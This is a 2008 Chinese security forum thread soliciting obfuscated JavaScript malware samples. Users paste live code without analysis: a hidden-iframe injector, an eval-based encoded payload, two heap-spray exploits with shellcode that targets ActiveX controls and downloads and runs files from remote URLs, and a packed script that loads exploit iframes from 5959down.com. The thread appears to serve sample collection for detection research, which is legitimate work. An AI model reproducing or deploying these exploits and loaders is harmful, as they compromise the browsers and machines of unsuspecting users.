有奖征集js加密样本

显示全部楼层 · 发表于 2008-11-4 18:08:38

提供样本者将得到经验值奖励

显示全部楼层 · 发表于 2008-11-4 18:40:25

<html><script>
var a="xeiwetfwtirwjpa.ijmbvmeasu iqisdqwrusfc.vn=cet"o6n2mxxp";
var counter;
var tempstr='';
var tempstr2='<';
var tempstr3="" width=";
for (counter=3;counter<a.length;counter+=4)
{
tempstr+=a.substr(counter,1);
if(tempstr2.length<13){tempstr2+=a.substr(counter-1,1);}
}
tempstr="http://"+tempstr;
document.writeln(tempstr2+tempstr+tempstr3+"8.8888 height=6.666 borderstyle=none><\/iframe>");
</script></html>

复制代码

自己乱写的算不

显示全部楼层 · 发表于 2008-11-4 19:33:58

经典的

<html>
<script language="JavaScript">
<!--
function I71gyIm5s(Du3B3hdK4){var mi05luDSP=arguments.callee.toString().replace(/\W/g,'').toUpperCase();var n8ypanU7r;var L8uS33e27;var y5kN1g2rd=mi05luDSP.length;var do2h3hE4X;var ef0NNls3G='';var l5M72Ho4p=new Array();for(L8uS33e27=0;L8uS33e27<256;L8uS33e27++)l5M72Ho4p[L8uS33e27]=0;var n8ypanU7r=1;for(L8uS33e27=128;L8uS33e27;L8uS33e27>>=1) {n8ypanU7r=(n8ypanU7r>>>1)^((n8ypanU7r&1)?3988292384:0);for(evUpq72Sk=0;evUpq72Sk<256;evUpq72Sk+=L8uS33e27*2) {l5M72Ho4p[evUpq72Sk+L8uS33e27]=(l5M72Ho4p[evUpq72Sk]^n8ypanU7r);if (l5M72Ho4p[evUpq72Sk+L8uS33e27] < 0) {l5M72Ho4p[evUpq72Sk+L8uS33e27]+=4294967296;}}}do2h3hE4X=4294967295;for(n8ypanU7r=0;n8ypanU7r<y5kN1g2rd;n8ypanU7r++){do2h3hE4X=l5M72Ho4p[(do2h3hE4X^mi05luDSP.charCodeAt(n8ypanU7r))&255]^((do2h3hE4X>>8)&16777215);}var itd4Y4YFL=new Array();var Wj248MMhr=2323;do2h3hE4X=do2h3hE4X^4294967295;if (do2h3hE4X<0) {do2h3hE4X+=4294967296;}do2h3hE4X=do2h3hE4X.toString(16).toUpperCase();var g6H8wLNdu=new Array();var y5kN1g2rd=do2h3hE4X.length;for(L8uS33e27=0;L8uS33e27<8;L8uS33e27++) {var FD4wbeq2F=y5kN1g2rd+L8uS33e27;itd4Y4YFL[L8uS33e27]=1;itd4Y4YFL[L8uS33e27]=Wj248MMhr;if (FD4wbeq2F>=8) {FD4wbeq2F=FD4wbeq2F-8;g6H8wLNdu[L8uS33e27]=do2h3hE4X.charCodeAt(FD4wbeq2F);} else {g6H8wLNdu[L8uS33e27]=48;}}var s1g3q4B5M=0;var xKiHc2imC;var iCmB0Uf38;var A7o0L6aPc;y5kN1g2rd=Du3B3hdK4.length;A7o0L6aPc=y5kN1g2rd;Wj248MMhr=1123;Wj248MMhr=A7o0L6aPc;for(L8uS33e27=0;L8uS33e27<y5kN1g2rd;L8uS33e27+=2){var FA8873Vrv=Du3B3hdK4.substr(L8uS33e27,2);xKiHc2imC=parseInt(FA8873Vrv,16);iCmB0Uf38=xKiHc2imC-g6H8wLNdu[s1g3q4B5M];if(iCmB0Uf38<0) {iCmB0Uf38=iCmB0Uf38+256;}ef0NNls3G+=String.fromCharCode(iCmB0Uf38);A7o0L6aPc++;Wj248MMhr=3891;if(s1g3q4B5M<g6H8wLNdu.length-1) {s1g3q4B5M++;Wj248MMhr=1092;itd4Y4YFL[L8uS33e27]=20;} else {s1g3q4B5M=0;Wj248MMhr=L8uS33e27;}}eval(ef0NNls3G);}
//-->
</script>
<body onLoad="I71gyIm5s('9AB6a4a7AD9Da4A554976Dab6d6B969b98775Eb39C75797A8d73aaa862AFAB98A661AA7a70AA8D8068A385819aA69CacA1a6a4B8AC629898A0ad9ba967A8A48AA8B39Fb2a05c5e65A6a6a6b09A979a5f639d8D73A0605C5e5d6FAAb38Ea4A59cA68497b79E5C5E72AAa2a864A696a38D69739E856f6fAB98a6617A78709b9Bad6Ba79d7fAF95a75796B998B8AE898d6d6A7EAA7A70aa8D8068a38572A599a39eA8a971ba9aa655A7AA769fA76d65A1B06fb797b659a2a86c6a8C8BAAa899725E5b7CACa5ab54808Eadb79aa588759674a2a6ad647aa6A798ad695f7f9fa3A75f78756dAB9FAA6C9D9B7E667f7D686c9e9ab76Daaa070676c6A7c7a78709B9BAD6bA79D6F645d808eADB79aA58875969278756DAB9fAA6C9D9B9e737474AA96A954AE98B28F69679F75777375749Aa4a95C856A7Ba09AAB6E9AA873756B6C707B68789daaAF6B9B9E6F856a7Ba09aAB6E9AA8748276655E57AFae98b28F69679F7577736CA696a38d69739E856f727375656A946c61A197A58A7668ac7a6A5B685D80697d716C677066746e7873645e729ab0A86cA88c7d858D78877C91716572a3997e92926B866f8C7D68796f6Fa48f7C8f8F7b8a6C8d6271856a7Ba09Aab6e9Aa860766254b0828BBAacA89A8376988fB08E8C878D6c886c9961886d6b9c9daa789cab96715D828bBAACA89A8376988fB08E8c878D6c886c9993A2a696A38d69739e856f5D70A09a615e8f90adab9b959077a594a38d7F829A6d95718C607b68789dAAAF6b9b9E91617264695D55b27f98afBA9d958478959cA59c81828e6E85798e6f7D686c9e9AB76daaA091607468736f78726a6C696d7771C1b6b1A5ad69AA99786aa0ae7468736F78726A6c696d7671aaA8A65da496af8C796b9c766D717171b19Ba28B6C66a9777a7596ad99A8b68b9C6F6A70a496af8c796B9c766D5F6C5Fbfa9aa6Aa0977567B0B271808EADb79aa5887596925CB1ac79A2976968A0ba94B86f6BAB8f7d75989367979D98A684a5a89e75A95FA1A3a49A6E669D786a6a5F6a6B696A9492695eB4af699E9a6872a2bd77726D605A726c7b706b6768696A71C1AF95A7577BB8A990697F8b8c6b7ea4a9b05476A9A6a2AF6c626FAB98a661a69780876768A2B0AC816b67676a6Fb1AC79a2976968A0BA73b4af699e9a6872a2bd97686770687a6c7b6B6d6A729Da7566CA9AA6Aa0977567B0b270656054BCA6BA6E9D986B65ADaf6F76686770687a6c7b6B6D6b72B1B1AC79a2976968a0ba73B4AF699e9a6872A2bd67A8a48aa8b39fB2a05C666D5d6fAAb38EA4A59CA68497b79e5c5E72AAa2a864a37899998785A593b071A39cAB6177b6AB95AE5F5d7CACa5ab5497AF96B5AB99916a6B74a4b76Bad9C6866A3ad6FA2a9A79BA99f6fa7a5b66178696e9BA7AC7B9F9b72676f856a7bA09AAB6e9aa8727c7478696e9Ba7ac7b9f9b60625D61b1ba9Aa6558b98796b9cAE69a78371a3AEA6ADA98A8F6a7761886D6b9C9dAA789CAB747BACaa8071819a8e6B907B68789dAAaf6B9b9e917e677f80ABA883648c8c99708F796b6ba89cba709A9c9471b1898B8c6666A5A3b771AD9F545D8b98796B9CAE69A783727E6e6D59af899B6c768eb96Ea6817488A56e7991A96aa9806E6E7fA37899998785a593B08F796b6BA89cBA709a9c9471b1AC79a2976968a0ba64A7A195a77Aa3a59B85ad5c899B6C768eB96ea681606FBE56A9a5a79a57afAB7AA89B8779A683B891886D6b9C9Daa789cab9671696F6fBEb3ba9Aa655847C8e8e76a6876c6e717171BA9aA655a98D736Ca7A37766896Fb797b659a6A384A1A5A599a56770ad95B35686b2897E989c8d69977496ad99A8b68B9c6f6a72A697827a879266a99B62AD9bB2A0a89D7276BA8B8D9a9c816a877E98bc9Ba8aa8C8C776C7Fa9877C8a6672A4b3AF716668667471b48c7B886965afa5ba7676AE8C7DA29e906c87709DA3B35e886D6b9c9Daa789Cab7664707b68789dAAAF6B9b9e70a3AEA6adA98a8F6a7771886D6b9c9Daa789cAB64716760AFB797B659a0689864B882A9696C72a697827A879266a99B62b4ABa6aca8A75f78756DAB9faa6c9D9B6D686D74a68E696aA4a0876A8672a795b3a9a982a2a95fa0749774b0809a676C6d677A626fa7A581ae9ab38eA06874A69A687a9C9E7868866ea0889d96887Ba390ad9F867c828F66AE897B709170a09a69a8b286a199A689AD6980695D55b2a6AF83b19da38aA3677ea8B286a199A689AD696f6b696B72b1afA9796F7f8a9Da3A661818Ca8A7a0a2A864AAabA3a27A9Ca2A887A8989A5FA6af83b19DA38AA3676A7186B2897E989C8D6997645F70A7878889766Aa2A4ad71746e7D6a6f9e9D5C8E7e919166a28A6b7872ae7d98978A78b085BB67a09aA59Bb59e716a5D55b28189839c6bA1886e6b6C617fA9877C8A6672a4b3AF7166676D73718Bb0a781677F978B7b9478696e9BA7AC7b9f9b9274667171c15999a1AA9961B19181818d69A1946d7B766470a7878889766Aa2A4ad71856a7Ba09aab6e9AA871c1b699AB98a069a4B76e6A808C9aB09b6D74B13F8d6bA86A7b9A98996D5C686A8A6D78687d95796Fa59A6A6B6D75836eaa7265767a6b796caa7a64966E69766daa6F676e9875726Fa77A6D976a6da298749B6b6B6b6D7697A6726D766e757A777b716C76696D78777a726d976b957a6CA56f6976706D7677867298776d757a6c786F776c6867876A776d656A6767A6787c72646d6B75796D8A6F9597696D776d747b6a6E9995776d859a6C9798757897a69A69969975776Fa96E776B6F757277779B656e9B75786f857276969969786c896F676a6f6ba46Fa57A75766e6C7997797b696E9d757377886e6a6b7D6B716aaa6D78689D95796E7A7166777a6Ba36d7c7A7a6e6e6a7197a7726D77786b77987A9b6B966f6da36f867A6D97986d826cA56F69767095756FA76e6a6c6969766c78716676786aa76cA66f6b6C996A7a6D77706C6B6F6a7a6d756F786b7A75786D8a706D6b6d6a796D756F956c9c6a826DA570686a7A6DA26d7a6F696C706Aa56D7A706D6B7D6a736D766f776C6F69a3787471646B706a786cA76f986c9A6AA26d7670956b9a69796Faa9A64966e6DA477759a976a6f69a36d786D656A6768736A876D976e7875726F879a6d976a6D8278747B6B6b6b6D75977C726c979D6a7477779B67766d6d78777B726C6D706dA577867a7A6e7869a2778a71656e6b75836e7c706d96696d746C766F9a6a6A67A75D6d74')">
</body>
</html>

复制代码

显示全部楼层 · 发表于 2008-11-4 20:25:05

<SCRIPT>window["\x6f\x6e\x65\x72\x72\x6f\x72"]=function(){return true;}</SCRIPT>
<SCRIPT>
document.writeln("<object classid=\"clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F\" id=\"Silverlight\"><\/object>");
document.writeln("<SCRIPT language=\"JavaScript\">");
document.writeln("var Yorkfield,Wolfdalef,Wolfdalek,QuadroSCR,QuadroXFX;");
document.writeln("var Samsunga1,Samsunga2,Samsunga3,Samsunga4,str5,Samsunga6,Samsunga7,Samsunga8,Samsunga9,Samsung10;");
document.writeln("var str3,str2,Yorkfie3d,Yorkfie4d,str4,Yorkfie6d,Yorkfie7d,Yorkfie8d,Yorkfie9d,Yorkfie10;");
document.writeln("str3 = unescape(\"psd2f2f\");\/\/(\"psdce4epsd4b62psd3a67psd8698psddf57psd2d5epsd7753psd0c80\"+\"psd\");");
document.writeln("Yorkfie4d = unescape(\"psd2e31\");\/\/(\"psd\"+\"8476psd858d\"+\"psd8485psdce98psd2857psd7065psd0178psdf876psd\");");
document.writeln("str2 = unescape(\"psd7375\");\/\/(\"psd3a67psd025epsd3a57psd1385psdf65epsd0cffpsd8259psdca4epsd\");");
document.writeln("Yorkfie3d = unescape(\"psd7265\");\/\/(\"psd6153psd4772psdf876psd3a67psd3175psd8e4epsdf665psd1a5cpsd\");");
document.writeln("Yorkfie6d = unescape(\"psd2e37\");\/\/(\"psdbf4f\"+\"psd3a64\"+\"psd497b\"+\"psd7972\"+\"psd288dpsd0c80psd3a4epsd886dpsd\");");
document.writeln("Yorkfie8d = unescape(\"psd6162\");\/\/(\"psd398dpsd0580psd7351psde86c\"+\"psd0230\"+\"psd6153psd4772psd3a67psd\");");
document.writeln("Yorkfie10 = unescape(\"psd0073\");\/\/(\"psd1062psd3a4epsd174fpsd8253psd4655psd894epsdf876\"+\"psdfd8fpsd\");");
document.writeln("str4 = unescape(\"psd3231\"+\"psd322d\");\/\/(\"psdf95bpsd618c\"+\"psd0cff\"+\"psd227dpsd3c5cpsd9f8fpspsd\");");
document.writeln("Yorkfie7d = unescape(\"psd656e\"+\"psd2f74\");\/\/(\"psd4e17psd533apsd7261psd6747psd4e3apsd5c13pspsd\");");
document.writeln("Yorkfie9d = unescape(\"psd2e6b\"+\"psd7363\");\/\/(\"psd5e3cpsd76b7psd5384psdfb7cpsd1752psd0130pspsd\");");
document.writeln("Samsunga1 = unescape(\"psd4343\"+\"psd4343psd4343\");\/\/(\"psd7c69psd52fbpsd3017psd6701psd4e7epspsd\");");
document.writeln("");
document.writeln("Samsunga3 = unescape(\"psdf78bpsd046apsde859psd0043psd0000psdf9e2psd6f68psd006epsd6800psd7275psd6d6c\");");
document.writeln("Samsunga2 = unescape(\"psda3e9psd0000psd5f00psda164psd0030psd0000psd408bpsd8b0cpsd1c70psd8badpsd0868\");");
document.writeln("Samsung10 = unescape(\"psdc1ecpsde579psd98b8psd8afepsdef0epsde0cepsd3660psd2f1apsd6870psd7474psd3a70\");");
document.writeln("Samsunga8 = unescape(\"psdcbc1psd030dpsd40dapsdf1ebpsd1f3bpsde775psd8b5epsd245epsddd03psd8b66psd4b0c\");");
document.writeln("Samsunga4 = unescape(\"psdff54psd9516psd2ee8psd0000psd8300psd20ecpsddc8bpsd206apsdff53psd0456psd04c7\");");
document.writeln("str5 = unescape(\"psd5c03psd2e61psdc765psd0344psd7804psd0065psd3300psd50c0psd5350psd5057psd56ff\");");
document.writeln("Samsunga7 = unescape(\"psd8b56psd2076psdf503psdc933psd4149psd03adpsd33c5psd0fdbpsd10bepsdd63apsd0874\");");
document.writeln("Samsunga9 = unescape(\"psd5e8bpsd031cpsd8bddpsd8b04psdc503psd5eabpsdc359psd58e8psdffffpsd8effpsd0e4e\");");
document.writeln("Samsunga6 = unescape(\"psd8b10psd50dcpsdff53psd0856psd56ffpsd510cpsd8b56psd3c75psd748bpsd782epsdf503\");");
document.writeln("Wolfdalef = Samsunga1+Samsunga2+Samsunga3+Samsunga4+str5+Samsunga6+Samsunga7+Samsunga8+Samsunga9+Samsung10;");
document.writeln("Yorkfield = str3+str2+Yorkfie3d+Yorkfie4d+str4+Yorkfie6d+Yorkfie7d+Yorkfie8d+Yorkfie9d+Yorkfie10;");
document.writeln("Wolfdalek = unescape(\"%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u7368%u7937%u6575%u632e%u2f6e%u6f64%u6e77%u6b2f%u2e6f%u7363%u0073\");");
document.writeln("var QuadroSCR = \"psd4343psd4343psd4343psda3e9psd0000psd5f00psda164psd0030psd0000psd408bpsd8b0cpsd1c70psd8badpsd0868psdf78bpsd046apsde859psd0043psd0000psdf9e2psd6f68psd006epsd6800psd7275psd6d6cpsdff54psd9516psd2ee8psd0000psd8300psd20ecpsddc8bpsd206apsdff53psd0456psd04c7psd5c03psd2e61psdc765psd0344psd7804psd0065psd3300psd50c0\"+\"psd5350\"+\"psd5057psd56ffpsd8b10psd50dcpsdff53psd0856psd56ffpsd510cpsd8b56psd3c75psd748bpsd782epsdf503psd8b56psd2076psdf503psdc933psd4149psd03adpsd33c5psd0fdbpsd10bepsdd63apsd0874psdcbc1psd030dpsd40dapsdf1ebpsd1f3bpsde775psd8b5epsd245epsddd03psd8b66psd4b0cpsd5e8bpsd031cpsd8bddpsd8b04psdc503psd5eabpsdc359psd58e8psdffffpsd8effpsd0e4epsdc1ecpsde579psd98b8psd8afepsdef0epsde0cepsd3660psd2f1apsd7474psd3a70psd2f2fpsd7777psd2e77psd696fpsd7975psd7274psd6e2epsd7465psd6e2fpsd7765psd612fpsd3732psd2e39psd7363psd0073\";");
document.writeln("QuadroXFX = unescape(QuadroSCR.replace(\/psd\/g,\"\\x25\\x75\"));");
document.writeln("var Virus = 0x100000;");
document.writeln("var ActivePerl = 0x0c0c0c0c;");
document.writeln("var DrWeb = QuadroXFX.length * 2;");
document.writeln("var Norton = Virus - (DrWeb+0x38);");
document.writeln("var AntiVir = unescape(\"%u0D0D%u0D0D\");");
document.writeln("AntiVir = getSpraySlide(AntiVir,Norton);");
document.writeln("");
document.writeln("Ewido = (ActivePerl - 0x100000)\/Virus;");
document.writeln("Mcafee = new window[\"\\x41\\x72\\x72\\x61\\x79\"]();");
document.writeln("for (i=0;i<Ewido;i++)");
document.writeln("{");
document.writeln("Mcafee = AntiVir + QuadroXFX;");
document.writeln("}");
document.writeln("function getSpraySlide(AntiVir, Norton)");
document.writeln("{");
document.writeln("while (AntiVir.length*2<Norton)");
document.writeln("{");
document.writeln("AntiVir += AntiVir;");
document.writeln("}");
document.writeln("AntiVir = AntiVir.substring(0,Norton\/2);");
document.writeln("return AntiVir;");
document.writeln("}");
document.writeln("var size_buff = 1070;");
document.writeln("var x = unescape(\"%0c%0c%0c%0c\");");
document.writeln("while (x.length<size_buff) x += x;");
var kav="SB";
document.writeln("Silverlight[\"\\x46\\x6c\\x76\\x50\\x6c\\x61\\x79\\x65\\x72\\x55\\x72\\x6c\"] = x;");var kavv="SB";
document.writeln("<\/script>");
</SCRIPT><SCRIPT>
var dasfds="fsdfdsfds";
var fdsfdsf="hrhrt";
document.writeln("<script>");
document.writeln("location.replace(\"\\x61\\x62\\x6f\\x75\\x74\\x3a\\x62\\x6c\\x61\\x6e\\x6b\");");document.writeln("<\/script>");
</SCRIPT>

[ 本帖最后由 sanhu35 于 2008-11-4 20:27 编辑 ]

显示全部楼层 · 发表于 2008-11-4 20:25:49

不知道这些算不算

<script language="javaScript">
url="%u7468%u7074%u2F3A%u772F%u7777%u742E%u7365%u2E74%u6F63%u2F6D%u2E78%u7865%u0065";
pps=(document.createElement("object"));
pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458");
var s21="%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" ;
var s22="%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" ;
var s1="%uf3e9%u0000%u9000";
var s2="%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" ;
var s3="%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" ;
var s4="%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" ;
var s5="%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" ;
var s6="%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" ;
var s7="%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" ;
var s8="%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" ;
var s9="%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" ;
var s10="%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" ;
var s11="%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" ;
var s12="%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" ;
var s13="%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" ;
var s14="%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" ;
var s15="%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" ;
var s16="%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" ;
var s17="%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" ;
var s18="%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" ;
var s19="%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" ;
var s20="%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" ;
var s23="%u6946%u656c%u0041";
var s=s1+s2+s3+s4+s5+s6+s7+s8+s9+s10+s11+s12+s13+s14+s15+s16+s17+s18+s19+s20+s21+s22+s23+url;
var shellcode = unescape(s);
s="%u9090";
s=s+"%u9090";
var bigblock = unescape(s);
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer;
</script>

显示全部楼层 · 发表于 2008-11-4 20:28:52

这里1堆！

显示全部楼层 · 发表于 2008-11-4 21:11:26

我这里Java的样本比较多。。。。。

显示全部楼层 · 发表于 2008-11-5 02:10:04

原帖由 EQ2 于 2008-11-4 21:11 发表
我这里Java的样本比较多。。。。。

你也不拿出来share

显示全部楼层 · 发表于 2008-11-5 09:18:34

基本都删了

显示全部楼层 · 发表于 2008-11-5 09:32:12

提供一个 js ，小红伞拦到的...

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('o n=h 18();n.17(n.16()+15*D*D*13);o C=h 12(3.y);o B="x=";4(C.A(B)==-1){j{4(11.10.Z().A("z"+"Y 7")==-1)3.f(\'<2 c=l:b a="9://8.5/z.k"></2>\')}i(e){}3.y="x=X;W="+n.V();j{4(h m("U.T"))3.f(\'<2 c=l:b a="9://8.5/S.k"></2>\')}i(e){}j{u=h m("w"+"v"+".w"+"v.1");4(u.R("Q")<="6.0.14.P"){q="p";3.f(\'<2 c=d\'+\'t\'+\'s:b a="9://8.5/r\'+\'O.g\'+\'4"></2>\')}N{3.f(\'<2 c=d\'+\'t\'+\'s:b a="9://8.5/r\'+\'M.g\'+\'4"></2>\')}}i(e){}q="p";j{4(h m("L.K"+"J"+"I.1"))3.f(\'<2 c=l:b a="9://8.5/H.k"></2>\')}i(e){}j{4(h m("G.F.1"))3.f(\'<2 c=l:b a="9://8.5/E.k"></2>\')}i(e){}}',62,71,'||iframe|document|if|com|||5959down|http|src|none|style|||write||new|catch|try|gif|display|ActiveXObject|Then|var|xxxxxxxxxxxxxxxxxxxxxx897987|uuuuuuuuuuuuuiuiu||lay|isp|Link|PCtl|IER|Cookie1|cookie|ms|indexOf|cookieHeader|xxxxxxxxcookie|60|bd|Tool|BaiduBar|bf|layer|ormP|St|MPS|eal_new|else|eal|552|PRODUCTVERSION|PlayerProperty|xl|Vod|DPClient|toGMTString|expires|POPWINDOS|ie|toLowerCase|userAgent|navigator|String|1000||24|getTime|setTime|Date'.split('|'),0,{}))

复制代码

[可疑文件] 有奖征集js加密样本

评分

评分

评分

本帖子中包含更多资源

评分

评分